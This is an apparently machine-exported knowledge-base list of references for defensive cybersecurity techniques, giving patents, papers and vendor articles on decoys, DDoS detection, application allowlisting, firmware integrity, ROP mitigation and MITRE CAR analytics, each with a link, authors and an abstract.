kb-reference-title: Decoy and deceptive data object technology

Reference - Decoy Network-Based Service for Deceiving Attackers - Amazon Technologies
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10873601B1
kb-abstract: A decoy network-based service uses a decoy credential to lure an attacker to access the decoy network-based service, and monitors the attacker's activity with respect to the decoy network-based service to determine the attacker's motivation. In various examples, a decoy credential is published on an Internet-accessible site, and a system that provides a network-based service (e.g., a service provider network) subsequently receives an access request from a computing device that includes the decoy credential. Based on the decoy credential, the computing device may be provided access to a decoy network-based service, and application programming interface (API) calls made by the computing device may be routed through a decoy control plane. The data relating to the API calls may be stored and analyzed to determine a motivation of the attacker, which may be used in various downstream applications to improve security for customers of the network-based service.
kb-author: Thomas Stickle
kb-mitre-analysis: MITRE analysis was not found.
kb-organization: Amazon Technologies
kb-reference-of: DecoyUserCredential
kb-reference-title: Decoy network-based service for deceiving attackers

Reference - Decoy Personas for Safeguarding Online Identity Using Deception - MITRE
type: InternetArticleReference
type: NamedIndividual
has-link: https://web.archive.org/web/20180407204216/https://isc.sans.edu/diary/Decoy+Personas+for+Safeguarding+Online+Identity+Using+Deception/16159
kb-abstract: What if online scammers weren't sure whether the user account they are targeting is really yours, or whether the information they compiled about you is real? It's worth considering whether decoy online personas might help in the quest to safeguard our digital identities and data. I believe deception tactics, such as selective and careful use of honeypots, holds promise for defending enterprise IT resources. Some forms of deception could also protect individuals against online scammers and other attackers. This approach might not be quite practical today for most people, but in the future we might find it both necessary and achievable. Human attackers and malicious software pursue user accounts and data on-line through harvesting, phishing, password-guessing, software vulnerabilities, and various other means. How might we use decoys to confuse, misdirect, slow down and detect adversaries engaged in such activities? ... The wealth of personal details available on social networking sites allows attackers to target individuals using social engineering, secret question-guessing and other techniques. For some examples of such approaches, see The Use of Fake or Fraudulent LinkedIn Profiles and Data Mining Resumes for Computer Attack Reconnaissance. Setting up one or more fake social network profiles (e.g., on Facebook) that use the person's real name can help the individual deflect the attack or can act as an early warning of an impending attack. A decoy profile could purposefully expose some inaccurate information, while the person's real profile would be more carefully concealed using the site's privacy settings. Decoy profiles would be associated with spamtrap email addresses. Similarly, the person could expose decoy profiles on other sites, for instance those reveal shopping habits (e.g., Amazon), musings (e.g., Twitter), skills (e.g., GitHub), travel (e.g., TripIt), affections (e.g., Pinterest), music taste (e.g., Pandora) and so on. The person's decoy identities coul…
kb-author: Lenny Zeltser
kb-organization: SANS
kb-reference-of: DecoyPersona
kb-reference-title: Decoy Personas for Safeguarding Online Identity Using Deception

Reference - Detecting DDoS Attack Using Snort
type: AcademicPaperReference
type: NamedIndividual
has-link: https://www.researchgate.net/publication/338660054_DETECTING_DDoS_ATTACK_USING_Snort
kb-abstract: A DDoS (Distributed Denial-of-Service) attack is very common and easy toexecute and does not require any sophisticated tools. It can happen to anyone. In this project we deploy snort in our home network as a NIDS (Network Intrusion Detection System) to detect a DDoS attack and prevent it.
kb-author: Manas Gogoi, Sourav Mishra
kb-organization: Indian Institute of Information Technology Allahabad
kb-reference-of: InboundSessionVolumeAnalysis
kb-reference-title: DETECTING DDoS ATTACK USING Snort

Reference - Detecting network reconnaissance by tracking intranet dark-net communications - VECTRA NETWORKS Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20150264078A1
kb-abstract: A method and system for detecting network reconnaissance is disclosed wherein network traffic can be parsed into unidirectional flows that correspond to sessions. A learning module may categorize computing entities inside the network into assets and generate asset data to monitor the computing entities. If one or more computing entities address a flow to an address of a host that no longer exists, ghost asset data may be recorded and updated in the asset data. When a computing entity inside the network contacts an object in the dark-net, the computing entity may be recorded a potential mapper. When the computing entity tries to contact a number of objects in the dark-net, such that a computed threshold is exceeded, the computing entity is identified a malicious entity performing network reconnaissance.
kb-author: Nicolas BEAUCHESNE; Sungwook Yoon
kb-mitre-analysis: This patent describes detecting an attacker performing internal reconnaissance within an organization's network to gather intelligence about the configuration of the network or identify the next target. Network packets are collected (ex. tapped from a network switch) and processed to create flows that are used to map out the network to identify network assets as well as ghost assets (addresses not assigned to a device or an existing device that is temporarily disabled). Once this mapping is complete it is used to monitor the network to determine if an attacker is attempting to connect to a ghost asset. If an attacker attempts to connect to a ghost asset over a threshold (ex. contacting four ghost assets in less than seven minutes), an alert is generated.
kb-organization: VECTRA NETWORKS Inc
kb-reference-of: Connection Attempt Analysis
kb-reference-title: Detecting network reconnaissance by tracking intranet dark-net communications

Reference - Detection of Malicious IDNHomoglyph Domains
type: InternetArticleReference
type: NamedIndividual
has-link: http://essay.utwente.nl/79263/1/Yazdani_MA_EEMCS.pdf
kb-abstract: At early stages of Internet development, users were only able to register or access domains with ASCII characters. The introduction of IDN (Internationalized Domain Name) which uses the larger Unicode character set, made it possible for regional users to deal with domain names using their local language alphabet. Beside the advantages provided by IDN, a new type of network threats has also emerged. The reason behind this is that there are many similar-looking characters in Unicode system, called homoglyphs. These characters could be used by an attacker to lure users by replacing one or more characters of a benign domain.
kb-author: Ramin Yazdani
kb-organization: University of Twente
kb-reference-of: HomoglyphDenylisting
kb-reference-title: Detection of Malicious IDN Homoglyph Domains Using Active DNS Measurements

Reference - Deterministic method for detecting and blocking of exploits on interpreted code - K2 Cyber Security Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20190180036A1/en
kb-abstract: In one aspect, a method useful for preventing exploitation of a vulnerability in an interpreted code by monitoring and validating an execution of the interpreted code in a script file by an application server, includes the step of generating a mapping for an incoming network connection to a specified script file to be executed by an application server. The computerized method includes the step of inserting a hook for monitoring an application programming interface (API) call or a privileged instruction executed by the application server. The computerized method includes the step of inserting a validation code configured to validate the API call or the privileged instruction executed by the interpreted code in a script.
kb-author: Jayant Shukla
kb-mitre-analysis: This patent describes a technique for monitoring API calls. During execution of interpreted code the observed API calls are validated against a whitelist of API calls for that interpreted code file. Action is taken if the observed API call is not in accordance with the list.
kb-organization: K2 Cyber Security Inc
kb-reference-of: SystemCallAnalysis
kb-reference-title: Deterministic method for detecting and blocking of exploits on interpreted code

Reference - Distributed meta-information query in a network - Bit 9 Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20070028302A1/en
kb-abstract: A security system provides a defense from known and unknown viruses, worms, spyware, hackers, and social engineering attacks. The system can implement centralized policies that allow an administrator to approve, block, quarantine, and log file activities. A server associated with a number of hosts can provide a query for host computers to access security-related meta-information in local host stores. The query is pulled from the server by the hosts. The results of the distributed host query are stored and merged on the server, and exported for display, reports, or security response.
kb-author: Todd Brennan; John Hanratty
kb-mitre-analysis: Provides a mechanism to detect, monitor, locate, and control files installed on host computers. Each host has a host agent that analyzes file system activity and takes action based on policies configured on a server. The policies identify whether to block, log, allow, or quarantine actions such as file accesses and execution of executables. Examples of policies include: * Block/log execution of new executables and detached scripts (e.g., .exe or .bat) * Block/log reading/execution of new embedded content (e.g., macros in .doc) * Block/log installation/modification of Web content (alteration of content in .html or .cgi files) * Block/log execution of new files in an administratively defined 'class'; e.g., an administrator might want to block screen savers .scr, but not the entire class of executables .exe, .dll, .sys, etc . . .
kb-organization: Bit 9 Inc
kb-reference-of: FileContentRules
kb-reference-title: Distributed meta-information query in a network

Reference - Domain age registration alert - Inc Rapid7 Inc RAPID7 Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20170026400A1/
kb-abstract: Systems and methods of identifying a security risk by monitoring and generating alerts based on attempts to access web domains that have been registered within a short period of time and are therefore identified as "high-risk," including identifying an attempt to access a domain; receiving a registration date of the domain; and detecting a security risk based on the registration date of the domain.
kb-author: Samuel Adams; H D. Moore
kb-organization: Rapid7 Inc.
kb-reference-of: DNSTrafficAnalysis
kb-reference-title: Domain age registration alert

Reference - End-to-end certificate pinning
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US9847992B2/en
kb-abstract: Some embodiments implement end-to-end certificate pinning for content intake from various content providers and for content distribution to various end users. To ensure secure retrieval of content provider content, the content distributor pins the content provider to one or more certificate authorities.
kb-author: Tin Zaw, Reed Morrison, Robert J. Peters
kb-organization: Verizon Digital Media Services Inc
kb-reference-of: CertificatePinning
kb-reference-title: End-to-end Certificate Pinning

Reference - Enhancing Network Security By Preventing User-Initiated Malware Execution - MITRE
type: AcademicPaperReference
type: NamedIndividual
has-link: https://ieeexplore.ieee.org/document/1425209
kb-abstract: In this paper, we describe characteristics of the most widely used defense techniques for the blocking of user-initiated malware and why these techniques are insufficient. We then introduce a module verification strategy that will eliminate, or at least severely reduce, this problem by extending the classic "defense in depth" network security strategy. We then describe how the augmentation of a standard operating system loader to include references to a database of cryptographic hashes of module executables can be used to implement this strategy. Finally, we describe our efforts towards the creation of a prototype system that implements the module verification strategy.
kb-author: John V. Harrison
kb-mitre-analysis: This paper describes application whitelisting. New software executable code is compared to a database of allowed software to determine if the new executable code should be loaded and executed. A database of cryptographic hashes is first created for all allowed software executables. Prior to loading any new executable code, a hash is computed and compared against the hash database. If the hash for the new code does not appear in the database, the executable is not loaded and executed.
kb-reference-of: ExecutableAllowlisting
kb-reference-title: Enhancing Network Security By Preventing User-Initiated Malware Execution

Reference - Identity Providers: What is Token Based Authentication
type: InternetArticleReference
type: NamedIndividual
has-link: https://www.entrust.com/resources/learn/what-is-token-based-authentication
kb-abstract: Token-based authentication is an authentication protocol where users verify their identity in exchange for a unique access token. Users can then access the website, application, or resource for the life of the token without having to re-enter their credentials.
kb-organization: Entrust
kb-reference-of: Token-basedAuthentication
kb-reference-title: Identity Providers: What is Token Based Authentication

Reference - CAR-2013-05-004: Execution with AT - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-05-004/
kb-abstract: In order to gain persistence, privilege escalation, or remote execution, an adversary may use the Windows built-in command AT (at.exe) to schedule a command to be run at a specified time, date, and even host. This method has been used by adversaries and administrators alike. Its use may lead to detection of compromised hosts and compromised users if it is used to move laterally. The built-in Windows tool schtasks.exe (CAR-2013-08-001) offers greater flexibility when creating, modifying, and enumerating tasks. For these reasons, schtasks.exe is more commonly used by administrators, tools/scripts, and power users.
kb-reference-of: ScheduledJobAnalysis
kb-reference-title: CAR-2013-05-004: Execution with AT

Reference - CAR-2013-08-001: Execution with schtasks - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2013-08-001/
kb-abstract: The Windows built-in tool schtasks.exe provides the creation, modification, and running of scheduled tasks on a local or remote computer. It is provided as a more flexible alternative to at.exe, described in CAR-2013-05-004. Although used by adversaries, the tool is also legitimately used by administrators, scripts, and software configurations. The scheduled tasks tool can be used to gain Persistence and can be used in combination with a Lateral Movement technique to remotely gain execution. Additionally, the command has parameters to specify the user and password responsible for creating the task, as well as the user and password combination that the task will run as. The /s flag will cause a task to run as the SYSTEM user, usually indicating privilege escalation.
kb-reference-of: ScheduledJobAnalysis
kb-reference-title: CAR-2013-08-001: Execution with schtasks

Reference - Federal Public Key Infrastructure 101
type: GuidelineReference
type: NamedIndividual
has-link: https://www.idmanagement.gov/university/fpki/
kb-author: Identity, Credential, and Access Management Subcommittee (ICAMSC)
kb-reference-of: Certificate-basedAuthentication
kb-reference-title: Federal Public Key Infrastructure 101

Reference - File-modifying malware detection - Crowdstrike Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20180121650A1/en
kb-abstract: A security agent implemented on a computing device is described herein. The security agent is configured to detect file-modifying malware by detecting that a process is traversing a directory of the memory of the computing device and detecting that the process is accessing files in the memory according to specified file access patterns. The security agent can also be configured to correlate actions of multiple processes that correspond to a specified file access pattern and detect that one or more of the multiple processes are malware by correlating their behavior.
kb-author: Daniel W. Brown
kb-mitre-analysis: This patent describes a technique for detecting file modifying malware such as wipers and ransomware that overwrite portions of files and encrypt portions of a computer's memory, respectively. Processes that are traversing a directory are identified along with file access patterns. Processes executing on a computing device that are traversing a directory include: * changing a directory of a process (e.g., iteratively, systematically, repeatedly) * detecting that a process is conducting an "open directory" operation repeatedly * the same process traversing through a directory and recording the locations of data files encountered in each sub - directory In addition to identifying processes traversing a directory, particular file access patterns are also detected that may be indicative of malicious behavior including: * multiple file types being accessed * accessing a large number of files * files located in multiple locations in the directory being accessed If a process is conducting a traversal of the directory and accessing files according to a defined access pattern associated with malicious behavior, a preventative action is performed.
kb-organization: Crowdstrike Inc
kb-reference-of: FileAccessPatternAnalysis
kb-reference-title: File-modifying malware detection

Reference - File Encryption 101: Safeguarding Your Sensitive Data
type: InternetArticleReference
type: NamedIndividual
has-link: https://www.veritas.com/information-center/file-encryption
kb-abstract: File encryption is a security method that converts your files into ciphertext or unreadable data. By using this method, you may be sure that even if unauthorized people access your files, they won't be able to understand the contents without the decryption key.
kb-author: Veritas
kb-reference-of: FileEncryption
kb-reference-title: File Encryption 101: Safeguarding Your Sensitive Data

Reference - File Integrity Monitoring in Microsoft Defender for Cloud - Microsoft
type: UserManualReference
type: NamedIndividual
has-link: https://learn.microsoft.com/en-us/azure/defender-for-cloud/file-integrity-monitoring-overview
kb-organization: Microsoft
kb-reference-of: FileIntegrityMonitoring
kb-reference-title: File Integrity Monitoring in Microsoft Defender for Cloud

Reference - Firmware Behavior Analysis ConFirm
type: AcademicPaperReference
type: NamedIndividual
has-link: http://sites.nyuad.nyu.edu/moma/pdfs/pubs/C22.pdf
kb-abstract: The modernization of various critical infrastructure components has dictated the use of microprocessor-based embedded control systems in critical applications. It is often infeasible, however, to employ the same level of security measures used in general purpose computing systems, due to the stringent performance and resource constraints of embedded devices. Furthermore, as software relies on the firmware for proper operation, no software-level technique can detect malicious behavior of the firmware. In this work, we propose ConFirm, a low-cost technique to detect malicious modifications in the firmware of embedded systems by measuring the number of low-level hardware events that occur during the execution of the firmware.
kb-author: Xueyang Wang, Charalambos Konstantinou, Michail Maniatakos, Ramesh Karri
kb-organization: Department of Electrical and Computer Engineering, Polytechnic School of Engineering, New York University and Department of Electrical and Computer Engineering, New York University Abu Dhabi
kb-reference-of: FirmwareBehaviorAnalysis
kb-reference-title: ConFirm: Detecting Firmware Modifications in Embedded Systems using Hardware Performance Counters

Reference - Firmware Behavior Analysis VIPER
type: AcademicPaperReference
type: NamedIndividual
has-link: https://dl.acm.org/doi/pdf/10.1145/2046707.2046711
kb-abstract: Recent research demonstrates that malware can infect peripherals' firmware in a typical x86 computer system, e.g., by exploiting vulnerabilities in the firmware itself or in the firmware update tools. Verifying the integrity of peripherals' firmware is thus an important challenge. We propose software-only attestation protocols to verify the integrity of peripherals' firmware, and show that they can detect all known software-based attacks.
kb-author: Yanlin Li, Jonathan M. McCune, Adrian Perrig
kb-organization: CyLab, Carnegie Mellon University
kb-reference-of: FirmwareBehaviorAnalysis
kb-reference-title: VIPER: Verifying the Integrity of PERipherals' Firmware

Reference - Firmware Embedded Monitoring Code Red Balloon
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10657262B1/en
kb-abstract: Systems and methods for securing embedded devices via both online and offline defensive strategies. One or more security software components may be injected into firmware binary to create a modified firmware binary, which is functionally- and size-equivalent to the original firmware binary. The security software components may retrieve live forensic information related to embedded devices for use in live hardening of the modified firmware binary while the embedded device is online, dynamically patching the firmware
kb-author: Ang Cui, Salvatore J. Stolfo
kb-organization: Red Balloon Security, Inc
kb-reference-of: FirmwareEmbeddedMonitoringCode
kb-reference-title: Method and apparatus for securing embedded device firmware

Reference - Firmware Embedded Monitoring Code Symbiotes
type: AcademicPaperReference
type: NamedIndividual
has-link: http://nsl.cs.columbia.edu/projects/minestrone/papers/Symbiotes.pdf
kb-abstract: A large number of embedded devices on the internet, such as routers and VOIP phones, are typically ripe for exploitation. Little to no defensive technology, such as AV scanners or IDS's, are available to protect these devices. We propose a host-based defense mechanism, which we call Symbiotic Embedded Machines (SEM), that is specifically designed to inject intrusion detection functionality into the firmware of the device.
kb-author: Ang Cui, Salvatore J. Stolfo
kb-organization: Department of Computer Science Columbia University
kb-reference-of: FirmwareEmbeddedMonitoringCode
kb-reference-title: Defending Embedded Systems with Software Symbiotes

Reference - Framework for notifying a directory service of authentication events processed outside the directory service - Oracle International Corp
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20090077645A1
kb-abstract: Methods, systems and machine-readable media for authenticating an end user for a client application are disclosed. According to one embodiment of the invention, a method of authenticating an end user for a client application using a directory service having an authentication control policy that tracks failed authentication attempts and allows lock out of an account after a predetermined number of failures comprises receiving end user identity information and security information at the client application; sending a search request to the directory service for an entry associated with the end user identity information and, if a match is found, receiving a authentication token from the directory service associated with the end user identity information; comparing the received authentication token with the security information; if the authentication token matches the security information, sending a request to update the directory service to indicate that successful authentication of the end user has occurred; and if the authentication token does not match the security information, sending a request to update the directory service to indicate that a failed attempt at authentication of the end user has occurred.
kb-author: Buddhika Nandana Kottahachchi
kb-organization: Oracle International Corp
kb-reference-of: AccountLocking
kb-reference-title: Framework for notifying a directory service of authentication events processed outside the directory service

Reference - /GS (Buffer Security Check) - Microsoft Docs
type: UserManualReference
type: NamedIndividual
has-link: https://docs.microsoft.com/en-us/cpp/build/reference/gs-buffer-security-check
kb-organization: Microsoft Docs
kb-reference-of: StackFrameCanaryValidation
kb-reference-title: /GS (Buffer Security Check)

Reference - CAR-2019-04-002: Generic Regsvr32 - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2019-04-002/
kb-abstract: Regsvr32 can be used to execute arbitrary code in the context of a Windows signed binary, which can be used to bypass application whitelisting. This analytic looks for suspicious usage of the tool. It's not likely that you'll get millions of hits, but it does occur during normal activity so some form of baselining would be necessary for this to be an alerting analytic. Alternatively, it can be used for hunt by looking for new or anomalous DLLs manually.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessLineageAnalysis
kb-reference-title: CAR-2019-04-002: Generic Regsvr32

Reference - Guards for application in software tamperproofing - Purdue Research Foundation
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US7287166B1/en
kb-abstract: A method of protecting a software program from unauthorized modification, and a system for practicing the method. The method utilizes self-protecting software code. Armed internally with self-defensive mechanisms, a self-protecting software program is tamper-resistant. Whenever its integrity is compromised, a self-protecting software program may become unusable due to software program crashes or other errors, or may generate subtle errors that do not immediately result render the program unusable but still result in incorrect software program execution. A self-protecting software program also may be able to repair itself to restore the integrity of its damaged code. The system comprises a computer program for automatically adding self-protection features to a software program.
kb-author: Hoi Chang; Mikhail J. Atallah; John R. Rice
kb-organization: Purdue Research Foundation
kb-reference-of: ProcessCodeSegmentVerification
kb-reference-title: Guards for application in software tamperproofing

Reference - Guide to Storage Encryption Technologies for End User Devices
type: GuidelineReference
type: NamedIndividual
has-link: https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-111.pdf
kb-abstract: Many threats against end user devices could cause information stored on the devices to be accessed by unauthorized parties. To prevent such disclosures of information, particularly of personally identifiable information (PII) and other sensitive data, the information needs to be secured. Securing other components of end user devices, such as operating systems, is also necessary, but in many cases storage security, which is the process of allowing only authorized parties to access and use stored information. The primary security controls for restricting access to sensitive information stored on end user devices are encryption and authentication. Encryption can be applied granularly, such as to an individual file containing sensitive information, or broadly, such as encrypting all stored data. The appropriate encryption solution for a particular situation depends primarily upon the type of storage, the amount of information that needs to be protected, the environments where the storage will be located, and the threats that need to be mitigated.
kb-author: Karen Scarfone, Murugiah Souppaya, and Matt Sexton
kb-reference-of: FileEncryption
kb-reference-title: NIST Special Publication 800-111 - Guide to Storage Encryption Technologies for End User Devices

Reference - Hardware-assisted system and method for detecting and analyzing system calls made to an operting system kernel - Endgame Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20180032728A1/en
kb-abstract: The present disclosure relates to a system and method for monitoring system calls to an operating system kernel. A performance monitoring unit is used to monitor system calls and to gather information about each system call. The information is gathered upon interrupting the system call and can include system call type, parameters, and information about the calling thread/process, in order to determine whether the system call was generated by malicious software code. Potentially malicious software code is nullified by a malicious code counter-attack module.
kb-author: Matthew D. Spisak
kb-mitre-analysis: This patent describes a technique for monitoring system calls to detect malicious software code. A system call monitoring module operates at the kernel level and traps system calls. Monitoring data includes: * information about the path to the file to be accessed by a system call. * the memory address or range of addresses to be accessed by a system call. * the context for the thread within operating system that will be interrupted by a system call. * the type of system call information about the socket that is being used by system call in order to send or receive data. * the history of system calls in order to monitor for specific sequences of system calls. * the frequency or periodicity of a particular system call or set of systems calls. Captured system call data is analyzed using data analysis algorithms such as machine learning algorithms, artificial intelligence algorithms, pattern recognition algorithms, or other known data analysis techniques. An alert is generated if it is likely that the system call was generated by malicious software code.
kb-organization: Endgame Inc
kb-reference-of: SystemCallAnalysis
kb-reference-title: Hardware-assisted system and method for detecting and analyzing system calls made to an operting system kernel

Reference - Heuristic botnet detection - Palo Alto Networks Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20160156644A1
kb-abstract: In some embodiments, heuristic botnet detection is provided. In some embodiments, heuristic botnet detection includes monitoring network traffic to identify suspicious network traffic; and detecting a bot based on a heuristic analysis of the suspicious network traffic behavior using a processor, in which the suspicious network traffic behavior includes command and control traffic associated with a bot master. In some embodiments, heuristic botnet detection further includes assigning a score to the monitored network traffic, in which the score corresponds to a botnet risk characterization of the monitored network traffic (e.g., based on one or more heuristic botnet detection techniques); increasing the score based on a correlation of additional suspicious behaviors associated with the monitored network traffic (e.g., based on one or more heuristic botnet detection techniques); and determining the suspicious behavior is associated with a botnet based on the score.
kb-author: Xinran Wang; Huagang Xie
kb-mitre-analysis: This patent describes detecting botnets using heuristic analysis techniques on collected network flows. The heuristic techniques include: * Identifying suspicious traffic patterns to detect command and control traffic ex. periodically visiting a known malware URL, a host visiting a malware domain twice every 5 hour and 14 minutes (this is a specific pattern for a variant of Swizzor botnets). * Identifying non-standard behaviors such as connecting to a non-standard HTTP port for HTTP traffic, visiting a non-existent domain, downloading executable files with non-standard executable file extensions, communicating using HTTP header with a shorter than common length * Analyzing visited domain information to identify the following: visiting a domain with a domain name that is longer than a common domain name length, visiting a dynamic DNS domain, visiting a fast-flux domain, and visiting a recently created domain. A score is determined based on these factors and if the score is over a threshold, a responsive action is performed.
kb-organization: Palo Alto Networks Inc
kb-reference-of: DNSTrafficAnalysis
kb-reference-title: Heuristic botnet detection

Reference - CAR-2016-03-001: Host Discovery Commands - MITRE
type: ExternalKnowledgeBase
type: NamedIndividual
has-link: https://car.mitre.org/analytics/CAR-2016-03-001/
kb-abstract: When entering on a host for the first time, an adversary may try to discover information about the host. There are several built-in Windows commands that can be used to learn about the software configurations, active users, administrators, and networking configuration. These commands should be monitored to identify when an adversary is learning information about the system and environment. The information returned may impact choices an adversary can make when establishing persistence, escalating privileges, or moving laterally. Because these commands are built in, they may be run frequently by power users or even by normal users. Thus, an analytic looking at this information should have well-defined white- or blacklists, and should consider looking at an anomaly detection approach, so that this information can be learned dynamically.
kb-author: MITRE
kb-organization: MITRE
kb-reference-of: ProcessSpawnAnalysis
kb-reference-title: CAR-2016-03-001: Host Discovery Commands

Reference - How ASLR protects Linux systems from buffer overflow attacks - Network World
type: InternetArticleReference
type: NamedIndividual
has-link: https://www.networkworld.com/article/3331199/what-does-aslr-do-for-linux.html
kb-abstract: ASLR (Address Space Layout Randomization) is a memory exploitation mitigation technique used on both Linux and Windows systems. Learn how to tell if it's running, enable/disable it, and get a view of how it works.
kb-author: Sandra Henry-Stocker
kb-organization: Network World
kb-reference-of: SegmentAddressOffsetRandomization
kb-reference-title: How ASLR protects Linux systems from buffer overflow attacks

Reference - How Does Antivirus Quarantine Work? - Safety Detectives
type: InternetArticleReference
type: NamedIndividual
has-link: https://www.safetydetectives.com/blog/how-does-antivirus-quarantine-work/
kb-abstract: Your antivirus has just finished a regular scan and it’s asking whether you want to quarantine the virus it’s found. You click ‘yes’ without putting much thought into what’s actually happening. But what does quarantining actually mean, what does it do and is it safe for your computer? It’s important to understand the details so that you know what’s happening when you send infected files into quarantine.
kb-author: Katarina Glamoslija
kb-reference-title: How Does Antivirus Quarantine Work?

Reference - How to change registry values or permissions from a command line or a script
type: InternetArticleReference
type: NamedIndividual
has-link: https://docs.microsoft.com/en-us/troubleshoot/windows-client/application-management/change-registry-values-permissions
kb-abstract: This article describes how to change registry values or permissions from a command line or a script. Applies to: Windows 10 - all editions, Windows Server 2012 R2 Original KB number: 264584
kb-organization: Microsoft
kb-reference-title: How to change registry values or permissions from a command line or a script

Reference - How trust relationships work for resource forests in Azure Active Directory Domain Services
type: InternetArticleReference
type: NamedIndividual
has-link: https://docs.microsoft.com/en-us/azure/active-directory-domain-services/concepts-forest-trust
kb-abstract: Active Directory Domain Services (AD DS) provides security across multiple domains or forests through domain and forest trust relationships. Before authentication can occur across trusts, Windows must first check if the domain being requested by a user, computer, or service has a trust relationship with the domain of the requesting account.
kb-author: Microsoft
kb-reference-of: DomainTrustPolicy
kb-reference-title: How trust relationships work for resource forests in Azure Active Directory Domain Services

Reference - IEEE Standard for Local and Metropolitan Area Networks - Station and Media Access Control Connectivity Discovery
type: SpecificationReference
type: NamedIndividual
has-link: https://standards.ieee.org/ieee/802.1AB/6047/
kb-organization: IEEE
kb-reference-of: HardwareComponentInventory
kb-reference-title: IEEE Standard for Local and Metropolitan Area Networks - Station and Media Access Control Connectivity Discovery

Reference - Identification and extraction of key forensics indicators of compromise using subject-specific filesystem views
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20200004962A1/en
kb-abstract: A stackable filesystem that transparently tracks process file writes for forensic analysis. The filesystem comprises a base filesystem, and an overlay filesystem. Processes see the union of the upper and lower filesystems, but process writes are only reflected in the overlay. By providing per-process views of the filesystem using this stackable approach, a forensic analyzer can record a process's file-based activity-i.e., file creation, deletion, modification. These activities are then analyzed to identify indicators of compromise (IoCs). These indicators are then fed into a forensics analysis engine, which then quickly decides whether a subject (e.g., process, user) is malicious. If so, the system takes some proactive action to alert a proper authority, to quarantine the potential attack, or to provide other remediation. The approach enables forensic analysis without requiring file access mediation, or conducting system event-level collection and analysis, making it a lightweight, and non-intrusive solution.
kb-author: Frederico Araujo; Anne E. Kohlbrenner; Marc Philippe Stoecklin; Teryl Paul Taylor
kb-reference-title: Identification and extraction of key forensics indicators of compromise using subject-specific filesystem views

Reference - Identifying a denial-of-service attack in a cloud-based proxy service - Cloudfare Inc.
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US8613089B1
kb-abstract: A cloud-based proxy service identifies a denial-of-service (DoS) attack including determining that there is a potential DoS attack being directed to an IP address of the cloud-based proxy service; and responsive to determining that there are a plurality of domains that resolve to that IP address, identifying the one of the plurality of domains that is the target of the DoS attack. The domain that is under attack is identified by scattering the plurality of domains to resolve to different IP addresses, where a result of the scattering is that each of those domains resolves to a different IP address, and identifying one of those plurality of domains as the target of the DoS attack by determining that there is an abnormally high amount of traffic being directed to the IP address in which that domain resolves.
kb-author: Lee Hahn Holloway, Srikanth N. Rao, Matthew Browning Prince, Matthieu Philippe Francois Tourne, Ian Gerald Pye, Ray Raymond Bejjani, Terry Paul Rodery, Jr.
kb-organization: Cloudfare Inc.
kb-reference-of: InboundSessionVolumeAnalysis
kb-reference-title: Identifying a denial-of-service attack in a cloud-based proxy service

Reference - Indirect Branching Calls
type: AcademicPaperReference
type: NamedIndividual
has-link: https://citeseerx.ist.psu.edu/viewdoc/download
kb-abstract: Return-oriented programming (ROP) has become the primary exploitation technique for system compromise in the presence of non-executable page protections. ROP exploits are facilitated mainly by the lack of complete address space randomization coverage or the presence of memory disclosure vulnerabilities, necessitating additional ROP-specific mitigations. In this paper we present a practical runtime ROP exploit prevention technique for the protection of thirdparty applications. Our approach is based on the detection of abnormal control transfers that take place during ROP code execution. This is achieved using hardware features of commodity processors, which incur negligible runtime overhead and allow for completely transparent operation without requiring any modifications to the protected applications. Our implementation for Windows 7, named kBouncer, can be selectively enabled for installed programs in the same fashion as user-friendly mitigation toolkits like Microsoft's EMET. The results of our evaluation demonstrate that kBouncer has low runtime overhead of up to 4%, when stressed with specially crafted workloads that continuously trigger its core detection component, while it has negligible overhead for actual user applications. In our experiments with in-thewild ROP exploits, kBouncer successfully protected all tested applications, including Internet Explorer, Adobe Flash Player, and Adobe Reader.
kb-author: Vasilis Pappas, Michalis Polychronakis, Angelos D. Keromytis Columbia University
kb-organization: Columbia University
kb-reference-of: IndirectBranchCallAnalysis
kb-reference-title: Transparent ROP Exploit Mitigation using Indirect Branch Tracing

Reference - Inferential exploit attempt detection - Crowdstrike Inc
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US10216934B2/en
kb-abstract: A security agent implemented on a monitored computing device is described herein. The security agent is configured to detect an action of interest (AoI) that may be probative of a security exploit and to determine a context in which that AoI occurred. Based on that context, the security agent is further configured to decide whether the AoI is a security exploit and can take preventative action to prevent the exploit from being completed. Determining that the AoI includes the security exploit is based at least in part on one or more of: determining that the return address is outside memory previously allocated for an object; determining that the object identifier is associated with a vulnerable object; determining that permissions of the memory region include two or more of read, write, and execute; or determining that the memory region is one page in length. Determining that the return address is outside memory previously allocated for an object and the method further including treating code that the return address points to as malicious code.
kb-author: Daniel W. Brown; Ion-Alexandru Ionescu; Loren C. Robinson
kb-organization: Crowdstrike Inc
kb-reference-of: MemoryBoundaryTracking
kb-reference-title: Inferential exploit attempt detection

Reference - Instant process termination tool to recover control of an information handling system - Dell Products LP
type: PatentReference
type: NamedIndividual
has-link: https://patents.google.com/patent/US20060236108A1/en
